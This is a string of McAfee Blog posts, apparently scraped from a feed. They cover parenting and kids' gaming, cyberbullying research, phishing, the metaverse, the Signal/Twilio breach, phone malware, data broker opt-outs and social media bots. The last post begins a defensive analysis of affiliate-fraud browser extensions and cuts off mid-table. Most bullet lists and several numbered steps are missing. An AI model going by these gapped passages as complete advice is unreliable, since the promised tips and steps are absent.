The post 5 Steps to Removing Your Personal Information From the Internet appeared first on McAfee Blog.
Let’s be honest – many of us parents aren’t big fans of gaming. In fact, some of us have probably even been known to roll our eyes or groan when we think about just how long our kids spend playing online games. But if there is one thing I’ve learned after 25 years of parenting, it’s that taking the time to look at a stressful family situation from the perspective of my children, can be very powerful. In fact, it can almost always fast track finding a mutually agreeable work-around for everyone – and gaming is the perfect example.
We have all read about how online gaming can provide players with regular hits of dopamine – a neurotransmitter in the brain that becomes active when you participate in fun and pleasurable activities. Now I am not disputing this for a moment – I’ve witnessed it firsthand! However, it is important to remember that dopamine increases whenever we do anything enjoyable – pop a square of chocolate in our mouth or watch our favorite sporting team win – not just when we play online games.
Many online games have cleverly designed built-in reward systems, and many experts believe that it is the combination of dopamine and reward that probably best explains why our kids are such gaming fans. Now, these reward systems are intentionally unpredictable so players are aware they will eventually get a reward, but they have no idea as to when or how often it is coming – so they are compelled to keep playing! Very clever!
In my opinion, gaming also fills several other needs in our children – the need to belong, to feel competent and be independent. And while we may have had these needs addressed very differently in the 70’s and 80’s – hanging at the bus stop, mastering the Rubix cube and not being helicopter parented, our batch of digital natives will often use gaming as their go-to solution.
When many of us parents think about our kids’ online gaming, our initial thought is ‘how do we make our kids stop’. But I can you this isn’t the right approach. Online gaming isn’t going anywhere. So, taking the time to see gaming from your child’s perspective and understand why it is such a big part of their life is where you need to focus your energy. I guarantee this will further strengthen your relationship with your child and help you introduce rules that they will better respect.
Let’s take a moment to channel the great Atticus Finch from To Kill a Mockingbird and focus on his words of inspiration for us all: ‘“You never really understand a person until you consider things from his point of view…until you climb into his skin and walk around in it.” Ah yes – very wise words!
So, if you are keen to stop gaming being a negative issue in your family, here are my top tips to help you get it under control and stop it causing family tension:
1. Change Your Thinking
If you find yourself thinking ‘how do I get my kids to stop gaming’, you’re barking up the wrong tree. Gaming isn’t going anywhere and as parents, we don’t want to drive an unnecessary wedge between ourselves and our kids. Instead, commit to having an open mind. Think ’Ok, let’s give this gaming thing a go’.
When the time is right, ask your kids what their favourite games are and why. Your aim is to get them talking. You could even do your research in advance and drop in the names of a few popular games to ask them about. ‘My work friend’s son plays Roblox, do you know much about that?’
Even if you aren’t that interested, I promise, playing along will open your eyes. You’ll better understand how the game’s reward system works and what it feels like to get a shot of digital dopamine! And most importantly, it will be great for your relationship with your child. By taking the time to play with them, you are showing that you are interested in their life and their hobbies.
4. Educate Yourself About All Thing Gaming
When your kids started their social media journey, chances are you spent a little time familiarising yourself with the various platforms they joined. Well, you need to adopt the same approach with their gaming life too. Here are a few areas to focus on:
5. Introduce Fair, Age-Appropriate Rules Around Gaming
Once you’ve taken the time to understand your child’s gaming life, cleared your mind of any unnecessary negative gaming thoughts and done your research, why not put together a set of family rules for gaming? You may like to consider a family tech agreement and have a separate section for gaming. Or you may prefer to keep it more casual and have the rules written on the fridge or shared in the family group chat. Regardless of what you choose, ensure that you introduce these boundaries when everyone is calm and in a good head space NOT when you’re in the middle of a verbal stoush!
You could choose to give your children a set amount of time they can use each week on gaming and then let them choose when to use it or you allocate a small time everyday once they’ve completed homework and chores. When my boys were younger, I didn’t allow gaming Monday – Thursday but after school Friday was always quite the gaming fest – a reward for getting through the school week. Do what works for your family!
There’s no question that this digital parenting gig is complicated. Trying to help your kids find the right balance between embracing the online world and offline world can often feel hard to get right. But if you’re ever in doubt about whether you’re on track when it comes to managing your kids’ gaming, always ask yourself – have I kept an open mind? Have I taken the time to talk to my kids and understand their gaming life? Are the gaming rules fair? And, if you have answered yes, then I have every confidence that you have the right approach to ensuring gaming is a positive part of your family’s life.
The post How To Get Your Head Around Your Kids’ Online Gaming Life appeared first on McAfee Blog.
Earlier this year, our global Connected Family Study revealed the online habits of parents and their children. What we found called for a closer look.
One finding that leaped out, in particular, is—cyberbullying occurs far more often than parents think. And in many cases, children are keeping it from their parents.
Now with our follow-on research, we set out to answer many of the questions families have about cyberbullying. Where it happens most, who’s most affected, and are children cyberbullying others without even knowing it?
Our report, “Hidden in Plain Sight: More Dangers of Cyberbullying Emerge,” provides insights into these questions and several more. We’ll cover the top findings here in this blog, while you can get the full story by downloading the report here.
Even as stay-at-home mandates in 2020 and 2021 saw children exposed to more cyberbullying while they spent more time online, our ten-country survey found that concerns about cyberbullying in 2022 are even higher today:
And just as the level of concern is high, the findings show us why. Families reported alarming rates of racially motivated cyberbullying, along with high rates of attacks on the major social media and messaging platforms.
Additionally, children shared insights into who’s doing the bullying (it’s largely people who know them) and more than half are the ones doing the bullying—and they don’t even realize it.
Further findings include:
Our research further revealed how the face of cyberbullying takes on different form around the globe. From nation to nation, the influences of polarized politics, racial relations, and different traditions in parent-child relationships shape and re-shape the forms of cyberbullying that children see.
Each of our ten nations surveyed set themselves apart with trends of their own, some of them including:
These new findings reflect the concerns of parents and children alike—cyberbullying remains a pervasive and potentially harmful fact of life online, particularly as racism and other severe forms of cyberbullying take rise.
Without question, cyberbullying endures as a persistent growing pain that the still relatively young internet has yet to shake.
The solution is arguably just as complex as the factors that give cyberbullying its shape—cultural, regional, technological, societal, even governmental. Addressing one factor alone won’t curb it. Significantly curtailing cyberbullying for an internet that’s far safer than it is today requires addressing those factors in concert.
While we recognize that tall order for what it is, and as a leader in online protection, we remain committed to it.
With these findings, and continued research to come, our aim is to further an understanding of cyberbullying for all—whether that’s educators, technology innovators, policymakers, and of course parents. With this understanding, programs, platforms, and legislation can put protections in place that still allow for companies to innovate and create platforms that people love to use. Safely and securely.
The post More Dangers of Cyberbullying Emerge—Our Latest Connected Family Report appeared first on McAfee Blog.
The first day of school is right around the corner. The whole family is gearing up for a return to the routine: waking up to alarm clocks at dawn, rushed mornings, learning all day, and after-school activities and homework all night.
Even though everyone is in a frenzied state, now is a great time to slow down and discuss important topics that may arise during the school year. Parents and guardians know their children are tech savvy, just by looking at their thumbs fly across keyboards; however, that doesn’t necessarily mean that they’re cyber-savvy.
To make sure we’re all on the same page, here are our definitions of tech savvy and cyber savvy:
According to McAfee research, children cited that their parents are best suited to teach them about being safe online when compared to their teachers and online resources. Here are common scenarios your child, tween, or teen will likely encounter during the school year, plus some tips and tools you can share to make sure they are safe online.
It’s now common practice for school systems to communicate with students and their guardians over email, whether that’s through a school-issued email address or a personal one. Your student should know that phishers often impersonate institutions with authority, such as the IRS, banks, and in their case, a school. Put your children on alert to the most common signs of a cybercriminal phishing for valuable personally identifiable information (PII). These signs include:
If your child ever receives a suspicious-looking or -sounding email, they should start an entirely new email chain with the supposed sender and confirm that they sent the message. Do not reply to the suspicious email and don’t click on any links within the message.
An excellent nugget of wisdom you can impart is the following: Never divulge your Social Security Number over online channels and never give out passwords. If someone needs your SSN for official purposes, they can follow up in a method other than email. And no one ever needs to know your password.
With a return to the school year routine comes a flood of back-to-school social media posts and catching up electronically with friends. If your child owns a social media profile (or several!), alert them to the various social media engineering tactics that are common to each platform. Similar to phishing schemes, social media scams are usually “time sensitive” and attempt to inspire strong emotions in readers, whether that’s excitement, fear, sadness, or anger.
Alert your child that not everything they read on social media is true. Photos can be doctored and stories can be fabricated in order to prompt people to click on links to “donate” or “sign a petition.” You don’t have to discourage your child from taking a stand for causes they believe in; rather, urge them to follow up through official channels. For instance, if they see a social media post about contributing to save the rainforest, instead of donating through the post, contact a well-known organization, such as the World Wildlife Fund and inquire how to make a difference.
More and more school systems are entrusting school-issued connected devices to students to use in the classroom and to bring home. Other districts have BYOD (or bring your own device) policies where students can use personal family devices for school activities. In either case, device security is key to keeping their information safe and maintaining the integrity of the school system’s network. Families don’t want to be the weakest link in the school system and are responsible for a town-wide education network breach.
Here are three ways to protect any device connected to the school network:
These conversations are great to start at the dinner table or on long, boring car rides where you’re most likely to get your child’s undivided attention. Don’t focus so much on the fearful consequences or punishment that could result from poor cyberhabits. Instead, emphasize how easy these steps and tools are to use, so it would be silly not to follow or use them.
The post Back to School: Tech Savvy vs. Cyber Savvy appeared first on McAfee Blog.
We’ve all heard about the Metaverse. And there’s no doubt it has certainly captured the attention of the world’s biggest companies: Facebook has changed its name to Meta, Hyundai has partnered up with Roblox to offer virtual test drives, Nike has bought a virtual shoe company and Coca-Cola is selling NFT’s there too. (Non-Fungible Tokens – think digital assets).
But if you are confused about exactly what this all means and most importantly, what the metaverse actually is, then you are not alone. I’m putting together a 2-part series for parents that will help us get a handle on exactly what this new digital frontier promises and what we need to know to keep our kids safe. It will also ensure we don’t feel like dinosaurs! So, let’s get started.
I think the best way of describing the Metaverse is that it’s a network of online 3D virtual worlds that mimic the real world. Once users have chosen their digital avatar, they can meet people, play games, do business, design fashion items, buy real estate, attend events, earn money, rear a pet – in fact, almost anything they can do in the ‘real’ world! And of course, all transactions are via cryptocurrencies.
If you are an avid Science Fiction reader, then you may have already come across the term in the 1992 novel ‘Snow Crash’ by Neal Stephenson. In the book, Stephenson envisions a virtual reality-based evolution of the internet in which his characters use digital avatars of themselves to explore the online world. Sounds eerily familiar, doesn’t it?
Still confused? Check out either the book or Steven Spielberg’s movie adaption of Ernest Cline’s Ready Player One. Set in 2045, the book tells the story of people living in a war-ravaged world on the brink of collapse who turn to OASIS, a massively multiplayer online simulation game that has its own virtual world and currency. In the OASIS, they engage with each other, shop, play games and be transported to different locations.
The best and most immersive way to access the metaverse is using a Virtual Reality (VR) headset and your internet connection, of course. VR headsets completely take over users’ vision and replace the outside world with a virtual one. Now, this maybe a game or a movie but VR headsets have their own set of apps which once downloaded, allows users to meditate, learn piano, work out at the gym or even attend a live concert in the metaverse!
Now access to the Metaverse is not just limited to those who own expensive headsets. Anyone with a computer or a smartphone (that is internet connected) can also have a metaverse experience. Of course, it won’t be as intense or immersive as the VR headset experience but it’s still a commonly used route to access the metaverse. Some of these ‘worlds’ suggest users can access their world using smartphones however experienced users don’t think this is a good idea as phones don’t have the necessary computational power to explore the metaverse properly.
As some of the most popular metaverse worlds can be accessed using your computer, why not check out Decentraland, The Sandbox, Somnium or even Second Life. In most of these worlds, users don’t have to create an account or spend money to start exploring however if you want the full experience then you’ll need to do so.
Entering the metaverse doesn’t cost anything, just like going on the internet doesn’t cost anything – apart from your internet connection and hardware, of course! And don’t forget that if you want a truly immersive 3D experience, then you might want to consider investing in a VR headset.
But, if you do want to access some of the features of the metaverse and invest in some virtual real estate or perhaps buy yourself a Gucci handbag, then you will need to put your hand into your virtual pocket and spend some of your virtual dollars. But the currency you will need depends entirely on the metaverse you are in.
Decentraland’s currency MANA is considered to be the most commonly used currency in the metaverse and also one of the best to invest in, according to some experts. MANA can be used to buy land, purchase avatars, names, wearables, and other items in the Decentraland marketplace.
The Sandbox has a different currency, SAND, which is also used to buy items from The Sandbox marketplace. This is the second most popular currency however be prepared to buy the currency of the world you choose to spend your time in.
Now, I totally appreciate that the whole concept of the Metaverse is a lot to get your head around. But if you have a tribe of kids, then chances are they are going to want to be part of it so don’t put it in the too-hard basket. Take some time to get your head around it: do some more reading, talk to your friends about it and check out some of the metaverses that you can access from your PC. Nothing beats experiencing it for yourself!
In Part 2, I will be sharing my top tips and strategies to help us, parents, successfully guide our kids through the challenges and risks of the metaverse. So watch out for that.
Till, next time – keep researching!
Alex x
The post A Parent’s Guide To The Metaverse – Part One appeared first on McAfee Blog.
Many people opt for encrypted messaging services because they like the additional layers of privacy they offer. They allow users to message their closest friends, family, and business partners without worrying about a stranger digitally eavesdropping on their conversation. The same people who message over encrypted services and apps are likely also diligent with securing their internet connections and using a VPN.
Despite all those safeguards, everyday people are left in the lurch when the companies with which they entrust their information are victims of cyberattacks. That was the case for users of the encrypted messaging app, Signal. Due to a phishing attack and subsequent leak of customer phone numbers, people are looking to identify potential consequences, protect themselves from SIM swapping, monitor their identity, and take measures to make sure their information is safe in the future.
A recent cyberattack targeted Signal, an end-to-end encrypted messaging service.1 The attackers exposed about 1,900 phone numbers belonging to Signal users. While other personally identifiable information (PII), message history, and contact lists were spared, valid phone numbers in the hands of a cybercriminal can be enough to wreak havoc on affected users.
It is likely that another recent and successful phishing scheme at Twilio was the entry point for the Signal hackers. (Signal partners with Twilio to send SMS verification codes to people registering for the Signal app.) At Twilio, phishers tricked employees into divulging their credentials.
To rectify the situation and protect users, Signal is contacting affected users and asking them to re-register their devices. Also, the company is urging all users to enable registration lock, which is an additional security measure that requires a unique PIN to register a phone with Signal.
There are many lessons not only companies but everyday people can learn from the Signal and Twilio hacks. Here are some ways you can take action at the first signs of a compromised phone number and to help prevent cyber-events like this from happening to you.
SIM swapping occurs when a cybercriminal gets ahold of your cellphone number and a few other pieces of your PII and registers your phone number to a device and a new SIM card that isn’t yours. If they successfully reregister your phone number, they can then access your data, change account passwords, and lock you out of your most important accounts.
Luckily, since most of us use our phones every day, SIM swapping is usually detected quickly. If your phone isn’t connecting to the network and you’re not receiving calls and texts, it could be a sign that your wireless provider may have reassigned your number to an impersonator. In this case, contact your wireless provider immediately.
To make SIM swapping nearly impossible, always turn on multifactor authentication. Also known as MFA, multifactor authentication is a method many online accounts use to ensure that only the authorized user can gain entry. This could entail sending a one-time code by email or text, prompting security questions, or scanning for fingerprint or facial recognition in addition to asking for the account password. MFA is an additional layer of security that’s quick to implement. The extra few seconds it takes to type in a code or stand still for a facial scan is well worth the frustration is causes cybercriminals.
These days, everyone has dozens of online accounts for everything from banking and shopping to streaming services and gaming. Since you can’t predict which company is going to be breached next, limit the number of possible doors a cybercriminal could break through to access your PII. In the Signal hack, it was their third-party vendor that was likely the cause of the leaked phone numbers. This unpredictability means it’s best to limit sharing your PII with as few accounts as possible. A great practice is to regularly organize your online accounts and deactivate the ones you no longer use.
A phishing attack seems to have been the first domino to fall in the Twilio and Signal incident. It could’ve been prevented if everyone followed this absolute rule: Never share your password! Your employer nor your bank nor the IRS, for example, will ever ask you for your password to an online account. If you receive correspondence asking you to share your password, no matter how official it looks, do not comply.
Phishers often lace their electronic correspondences with an urgent or authoritarian tone, threatening severe consequences if they don’t receive a response within a short timeframe. This is a ploy to get people to act too quickly without thinking through the request. If you receive a message that outlines dire consequences for seemingly small infractions, step away from the message for at least 15 minutes and think it through. Stay calm and follow up through official channels, such as a listed phone number on the organization’s website or a customer service chat room, to iron out the alleged situation instead.
Diligent cybersecurity habits go a long way toward keeping you and your family’s PII out of the hands of malicious characters. However, in the case you trust a company with your information but it’s leaked in a breach, McAfee Total Protection can give you peace of mind. McAfee Total Protection offers premium security in various areas including antivirus, identity monitoring, secure VPN, Protection Score, and Personal Data Cleanup. Its advanced monitoring abilities are faster and offer broader detection for your identity. Plus, McAfee Total Protection can cover you up to $1 million in identity theft restoration.
Keep your eyes peeled for cybersecurity news and breaches that may have affected your PII. From there, take action and leverage McAfee services to help you fill in the gaps.
1The Hacker News, “Nearly 1,900 Signal Messenger Accounts Potentially Compromised in Twilio Hack”
The post Encrypted Messaging Service Hack Exposes Phone Numbers appeared first on McAfee Blog.
Today, we publish our annual Impact Report. In our 2021 report, we highlight initiatives and share stories about our progress in creating a more inclusive workplace, supporting our communities, and protecting the planet.
Reflecting on 2021, it’s easy to see it was a monumental year for McAfee. Our business underwent an incredible transformation — we divested our Enterprise business and McAfee emerged as a worldwide leader for online protection, empowering individuals and families to live a safer life online. We also kicked off our journey to become a privately held company.
As we accelerate our journey as a dedicated consumer business and I evaluate our strides since our first report in 2018, I am humbled by our progress. In the last year, we’ve seen our representation for women reach 30.9% overall and for underrepresented professionals reach 14.8 percent. In addition, we’ve seen a 40% increase in the proportion of women promoted to director and above in the last year.
We maintained pay parity for women globally and underrepresented professionals in the U.S with our most recent audit revealing no disparities. We rolled out a new inclusion and awareness training and were recognized as the best company for multicultural women and dads. We prioritized our people’s well-being with a rollout of the Calm app, fitness challenges, and a week focused on wellness.
All the while, McAfee rose to meet the increased needs of our community with laptop donation programs and employee giving campaigns. We also made progress for sustainability redefining how and where we work.
However, it’s not lost on me that 2021 followed a year fraught with challenges that didn’t disappear with the end of 2020. And today, we continue to live and work against the backdrop of a global pandemic, respond to acts of racial injustice, and hear undeniable lived experiences of hate and intolerance.
It’s fueled our desire to do better. We know there is so much work to do and our responsibility to create an equitable workplace and world has never been greater. It’s the right thing to do and a business imperative—we rely on the fresh ideas and unique perspectives of the people of McAfee. Truthfully, it’s their tenacity and resiliency that inspire me.
Whether it’s showing up for one another during a COVID-19 surge, asking for more resources to become a better ally, or rallying around each other to prioritize health, our people are exceptional.
As we progress in 2022, grow as a consumer-focused business, and welcome our new President and CEO Greg Johnson, we will have the opportunity to take all we’ve learned and help turn our aspirations into reality. We will invest in our people, our community, and our planet, but also ask what we can do better.
I invite you to read our 2021 Impact Report to see our progress and our commitment.
The post McAfee launches Impact Report: How we’re doing and the opportunities ahead appeared first on McAfee Blog.
Our phones store a lot of personal data, including contacts, social media account details, and bank account logins. We use our smartphones for everything under the sun, from work-related communication to online shopping.
However, like computer viruses, our phones can be vulnerable to malware. Viruses are a type of malware that replicate themselves and spread throughout the entire system. They can affect your phone’s performance or, worse, compromise your sensitive information so that hackers can benefit monetarily.
In this article, we give you a rundown of viruses that can infect your phone and how you can identify and eliminate them. We also provide some tips for protecting your phone from viruses in the first place.
iPhones and Android devices run on different operating systems. So, there are differences in the viruses that affect each type of mobile device and how resistant each operating system is to viruses.
Viruses have a harder time penetrating iOS because of its design (although iOS hacks can still happen). By restricting interactions between apps, Apple’s operating system limits the movement of an iPhone virus across the device. However, if you jailbreak your iPhone or iPad to unlock tweaks or install third-party apps, then the security restrictions set by Apple’s OS won’t work. This exposes iPhone users to vulnerabilities that cybercriminals can exploit.
While Android phones are also designed with cybersecurity in mind, their reliance on open-source code makes them an easier target for hackers. Android devices allow users to access third-party apps not available in the Google Play Store.
Cybercriminals today are sophisticated and can launch a variety of cyberattacks on your smartphone. Some viruses that can infect your phone include:
Smartphones and computers get viruses in a similar way. The most common include:
Now that you know how your phone could be the target of a virus, look out for these seven signs to determine if your device has been infected with malicious software.
Most pop-up ads don’t carry viruses but are only used as marketing tools. However, if you find yourself shutting pop-up ads more often than usual, it might indicate a virus on your phone.
Don’t open any apps in your library that you don’t remember installing. Instead, uninstall them immediately. These apps tend to carry malware that’s activated when the app is opened or used.
Your phone isn’t built to support malware. When you accidentally download apps that contain malware, the device has to work harder to continue functioning. In this case, your phone might be overheating.
If your contacts receive unsolicited scam emails or messages on social media from your account, especially those containing suspicious links, a virus may have accessed your contact list. It’s best to let all the recipients know that your phone has been hacked so that they don’t download any malware themselves or forward those links to anybody else.
An unusually slow-performing device is a hint of suspicious activity on your phone. The device may slow down because it needs to work harder to support the downloaded virus. Alternatively, unfamiliar apps might be taking up storage space and running background tasks, causing your phone to run slowly.
Be sure to follow up on charges on your credit card or transactions in your banking statements that you don’t recognize. It could be an unfamiliar app or malware making purchases through your account without your knowledge.
A sudden rise in your data usage or phone bill can be suspicious. A virus might be running background processes or using your internet connection to transfer data out of your device for malicious purposes.
An unusually quick battery drain may also cause concern. Your phone will be trying to meet the energy requirements of the virus, so this problem is likely to persist for as long as the virus is on the device.
You may have an inkling that a virus is housed inside your phone, but the only way to be sure is to check.
An easy way to do this is by downloading a trustworthy antivirus app. The McAfee Mobile Security app scans for threats regularly and blocks them in real time. It prevents suspicious apps from attaching themselves to your phone and secures any public connections you might be using.
If you detect a virus on your iPhone or Android device, there are several things you can do.
It’s never too late to start caring for your phone. Follow these tips to stay safe online and help reduce the risk of your phone getting a virus.
McAfee Mobile Security is committed to keeping your mobile phone secure, whether it’s an iPhone or Android device. In addition to regularly scanning your phone to track suspicious activity, our technology responds to threats in real time. Our comprehensive tools also secure your internet connections and let you browse peacefully. Using our app makes sure that your phone and data are protected at all times.
So, what are you waiting for? Download McAfee Mobile Security today!
The post 7 Signs Your Phone Has a Virus and What You Can Do appeared first on McAfee Blog.
Data brokers are companies that collect your information from a variety of sources to sell or license it out to other businesses. Before they can pass your data along, brokers analyze it to put you into specific consumer profiles. Consumer profiles help businesses suggest products you might like and create targeted marketing campaigns based on your interests.
Companies who buy data from brokers use it for things like marketing or risk mitigation. For example, if you’re a guitarist, a guitar manufacturer might try to reach you with an ad for their instruments. If you’re in the market for car insurance, insurance providers might use your personal information to do a background check so they can assess the risk that you’ll be in a car accident.
While businesses don’t typically use your information maliciously, there are risks involved with having your personal data spread online. There might be certain details you don’t want to share with the world, like health or criminal records or financial issues.
Having your data featured online can also expose it to cybercriminals who might use it for identity theft. Sometimes, hackers can even breach information that’s stored in an information broker’s database. When a criminal has your data, they might be able to access your financial accounts, use your credit to secure a loan, or even use your insurance to receive medical care.
This article shows you how to remove your information from data broker sites and protect your data privacy online.
There are various ways for a data broker to access your personal information. Some of these information sources are offline. For example, a broker can peruse public records to view your voter registration information.
Other information sources that brokers use are online. For instance, a broker might track your buying history to see which products you’re likely interested in.
Below are some of the top sources data brokers use to collect consumer information.
Data brokering is a worldwide industry that brings in around $200 billion annually. An estimated 4,000 data broker companies exist. The largest data broker companies include organizations like Acxiom, Experian, and Epsilon.
Most data broker sites will give you the ability to have your personal information removed from their database — but don’t expect it to be easy.
You might have to follow a multi-step process to opt out of a broker site. Even after your information is removed, you may have to repeat the process periodically.
Different regions have different laws when it comes to protecting consumer data. The European Union has the General Data Protection Regulation (GDPR), which gives consumers the right to request that a company deletes any personal information they have stored.
In the United States, states have to create their own laws to safeguard consumer privacy. States like Colorado and California have enacted laws that allow consumers to have their personal information removed from data broker sites.
The next few sections go over steps you can follow to get your information removed from various data broker sites. Many broker sites allow you to opt out of their data collection and advertising programs.
Opting out can prevent brokers from collecting and sharing your information and help you avoid intrusive ads for things like pre-approved credit cards.
The first thing you’ll have to do is visit each data broker’s site that has your information. Some of the biggest data broker sites that might have your information include:
While these are some of the largest data broker sites around, this list is by no means exhaustive. There’s a large number of data-sharing sites out there. For example, people-search sites like PeekYou, Spokeo, and Whitepages, let average consumers search through databases of personal information.
It may seem counterintuitive to sign up for an account with a broker when all you want is to delete your information from their site, but most data brokers require you to register with them to opt out of data collection.
You’ll likely have to create an account with every data broker you want to opt out of. Unfortunately, this will require you to give the brokers some personal information, like your name, email address, and possibly a picture of your driver’s license. Cross out your license number if you have to send a photo of your ID.
After creating an account with a broker, you’ll likely have to visit their portal to find out whether they have your personal information listed. Checking to see what every data broker has listed about you can be a time-consuming process.
Services like DeleteMe and Kanary will delete your information from data brokers. However, most of these sites charge a fee, and they only delete your information from a select number of sites. For example, DeleteMe removes your information from 36 different data broker sites.
You should also be aware that some data broker sites don’t allow third parties to request for information to be deleted on behalf of consumers.
You’ll have to make a separate removal request for every data broker site you want to opt out of. Some data brokers make the process more difficult than others. Remember that data companies are always collecting records, so you may need to repeat the process of removing your information from data broker sites annually.
Here’s how to opt out of some of the largest data brokering companies we mentioned earlier:
The data broker industry is enormous. A data brokerage can collect a wealth of information about you from a huge number of sources, and provide that information to businesses that use it to do things like design targeted marketing campaigns for their ideal consumers.
Brokers can share sensitive information that you want to keep private, like medical data. Having your personal information floating around the internet makes it easier for cybercriminals to use it for personal gain.
By opting out of information-sharing programs, you can protect your online privacy, reduce the number of intrusive advertisements and emails you receive, and make it less likely that identity thieves will target you.
One of the best ways to protect yourself online is to use quality security software. When you sign up for McAfee+, you’ll get features like award-winning antivirus software, 24/7 account monitoring, a secure virtual private network (VPN), and up to $1 million in identity theft coverage and restoration.
When it comes to protecting your privacy online, McAfee has your back.
The post How to Remove Personal Information From Data Broker Sites appeared first on McAfee Blog.
In this career-journey series, Internal Audit Manager Chris shares his recent journey joining the McAfee finance team and why he is always learning something new in his role.
I’m an Internal Audit Manager. Essentially, I work with my McAfee colleagues to understand the processes we follow and run tests to confirm everything is happening as it should.
Sometimes people find audits intimidating, but I do my best to reassure people that there are no hidden tricks and I respect their time. We’re just making sure things are going according to plan and we’re fulfilling our responsibilities.
In a typical day, I have three priorities: Dad, Work, Gym.
I’m normally up at 6 a.m. to cook breakfast for my son and myself, and then drop him off at school. His favorite is bacon and eggs! Since I work with people around the world, I catch up on emails and then review the day’s work and catch up with my team. From there, most of my day is spent in meetings with McAfee colleagues or external auditors.
Somewhere in the day I get in a one-hour workout. It’s tough to do sometimes, but I’d say I get to the gym 90% of the time. It’s a great reset for me: a time where I can focus on me and putting my body to the test.
And, of course, I pick up my son from school and have Dad Time! That’s really my day in repeat. It seems like the same thing but feels different every day. I’m always meeting new people and puzzling through different problems. Every day is a fresh challenge.
After interviewing with my future co-workers, I was excited to join the company. I thought, “Oh, this company is fun!” The culture seemed to be a place where not only do you get to come for work, but also have sense of community within it.
Also, it was a chance to work for a great boss. I knew she was a great boss because I worked for her before. She gives you the vision, then gives you the freedom to explore and get the work done. You really get to own your work. I appreciate that.
At McAfee, employees are a top priority. You’re not just a robot who has to work-work-work. It’s okay to have fun and take 10 minutes out to see how others are doing.
I like the way the company comes together to have contests and other fun activities. In Finance, we recently had a scavenger hunt with 70 people. It was great seeing the faces of people you’ve only talked to on the phone.
Another way we engage each other is with a recognition program called Bravo! You can write a letter to someone saying hey, I appreciate you. That makes you feel more valued as an employee.
I also like the quarterly updates we get from leaders. At other companies, I’ve seen that done once a year. It’s nice to hear from the CEO every quarter about what’s going on in the organization.
There are two parts that make my role so rewarding. The first is I enjoy interacting with people and have a passion for learning. In this job, you hear so many cool stories, and I’m exposed to so many different areas and processes in across the business. There’s always something new to learn. It makes every day different.
Secondly, at McAfee I’m part of the McAfee African Heritage Community (MAHC). We get together and talk about things we want to share with other Community members and the rest of McAfee. I’ve met people I never would run into otherwise. That’s important to me as someone who’s fairly new to McAfee plus having worked remote all this time. It’s very cool to be part of a company that supports having communities.
Honestly, my job is always outside my comfort zone. There’s always a new problem to be solved. But I like that. The way I see it, if you’re comfortable, you aren’t growing. You need to do something you haven’t done before to move to the next level.
As an auditor, I’m always helping others understand the audit process and how to provide solid information, so the audit goes well.
One of the most helpful skills I have developed during my career is communication. I need to establish a rapport quickly in my work so we can work well together. Everybody is different, right? Some are more direct, some are more indirect, and some people are more casual than others. You always need to adjust when you meet people. Good communication skills help prevent misunderstandings, which is especially important in a global company like McAfee with so many different cultures.
Embrace change! Change is just another way to grow, learn, and realize potential you didn’t know you had. Look at it as an opportunity. Raise your hand up when problems arise and take on that tough problem. The person who fixes the problem is the person everyone remembers.
The post Embrace change! Chris’s McAfee Journey appeared first on McAfee Blog.
“Congratulations, you’re a winner!”
“Did you know this public figure is trying to make your life worse? Click here for what they don’t want you to know.”
“Save thousands today with just one click!”
Spam and bot accounts on social media are everywhere. You’ve likely encountered messages like these that attempt to get you to click on links or to stir your emotions in a frenzy. While bot accounts are usually more of an annoyance than anything, when they’re allowed to run rampant, they can quickly become dangerous to your personally identifiable information (PII) and create an emotionally charged mob mentality.
Here’s what you should know about bot accounts, including how to steer clear of menacing ones, plus a reminder to watch what you share on (and with) social media sites.
Bot accounts are software-automated accounts that try to blend in and act like a real user. They post updates and follow other users, though there isn’t a real person behind the account. A spam account is a type of bot account that attempts to gain financially from its automated posts. Everyday people should be wary of social media bot accounts because they can be used to disseminate false information or phishing scams.
One whistleblower of a social media giant recently divulged that the platform isn’t prioritizing deactivating bot accounts.1 This apathy sparks concerns about the company’s commitment to the security of its users. In the whistleblower’s same report, he stated that the social media site isn’t taking the necessary steps to protect itself from potential inside threats and it had fallen victim to at least 20 breaches in 2020 without reporting the incidents to the proper authorities.
Some bot accounts aren’t malicious (merely an annoying tactic by companies to spread the word about their business), but it’s best to give all of them a wide berth and never click on any links in their posts. Those links could direct to unsecured outside sites laden with malware or drop you in the middle of a phishing scheme.
You can often spot a malicious bot account by the tone of its messages. They’ll often try to inspire intense emotions, such as excitement, sadness, or rage, and attempt to get users to act or share the post. Do not engage with them, not even to argue their points. When you engage or share these posts with your network, it spreads false information and could dangerously manipulate public opinion.2
Here are a few ways you can take your cybersecurity into your own hands when you can’t be sure that social media sites are looking out for the safety of users’ information:
You can’t trust every company to look out for the safety of your personal information, but one organization you can trust is McAfee. McAfee Total Protection is a comprehensive identity and privacy protection solution for your digital life. Great social media habits go a long way toward keeping you safe online, and you can rest assured knowing that McAfee can fill in the gaps. McAfee Total Protection offers antivirus, identity monitoring, and security freeze in the case your information is leaked in a breach or a bot account gets ahold of key details.
Keep on sharing your life’s milestones with your closest friends and family online. The next time you update your status, flag any suspicious accounts you come across, so everyone can enjoy social media confidently!
1NBC News, “Twitter whistleblower alleges major security issues”
2Journal of Information Technology & Politics, “Harass, mislead & polarize: An analysis of Twitter political bots’ tactics in targeting the immigration debate before the 2018 U.S. midterm election”
The post Here’s How to Steer Clear of Bot Accounts on Social Media appeared first on McAfee Blog.
Authored by Oliver Devane and Vallabh Chole
September 9, 2022 Update: Since the original publication of this blog on August 29, 2022, the Flipshope browser extension was updated in the Chrome Store on September 6, 2022 with a version that no longer contains the potentially harmful features originally discussed in this blog.
September 30, 2022 Update: Since the original publication of this blog on August 29, 2022, the AutoBuy browser extension was updated in the Chrome Store on September 17, 2022 with a version that no longer contains the potentially harmful features originally discussed in this blog.
A few months ago, we blogged about malicious extensions redirecting users to phishing sites and inserting affiliate IDs into cookies of eCommerce sites. Since that time, we have investigated several other malicious extensions and discovered 5 extensions with a total install base of over 1,400,000
The extensions offer various functions such as enabling users to watch Netflix shows together, website coupons, and taking screenshots of a website. The latter borrows several phrases from another popular extension called GoFullPage
Apart from offering the intended functionality, the extensions also track the user’s browsing activity. Every website visited is sent to servers owned by the extension creator. They do this so that they can insert code into eCommerce websites being visited. This action modifies the cookies on the site so that the extension authors receive affiliate payment for any items purchased.
The users of the extensions are unaware of this functionality and the privacy risk of every site being visited being sent to the servers of the extension authors.
The 5 extensions are
| Name | Extension ID | Users |
| Netflix Party | mmnbenehknklpbendgmgngeaignppnbe | 800,000 |
|
Netflix Party 2 |
flijfnhifgdcbhglkneplegafminjnhn | 300,000 |
|
FlipShope – Price Tracker Extension
|
adikhbfjdbjkhelbdnffogkobkekkkej | 80,000 |
|
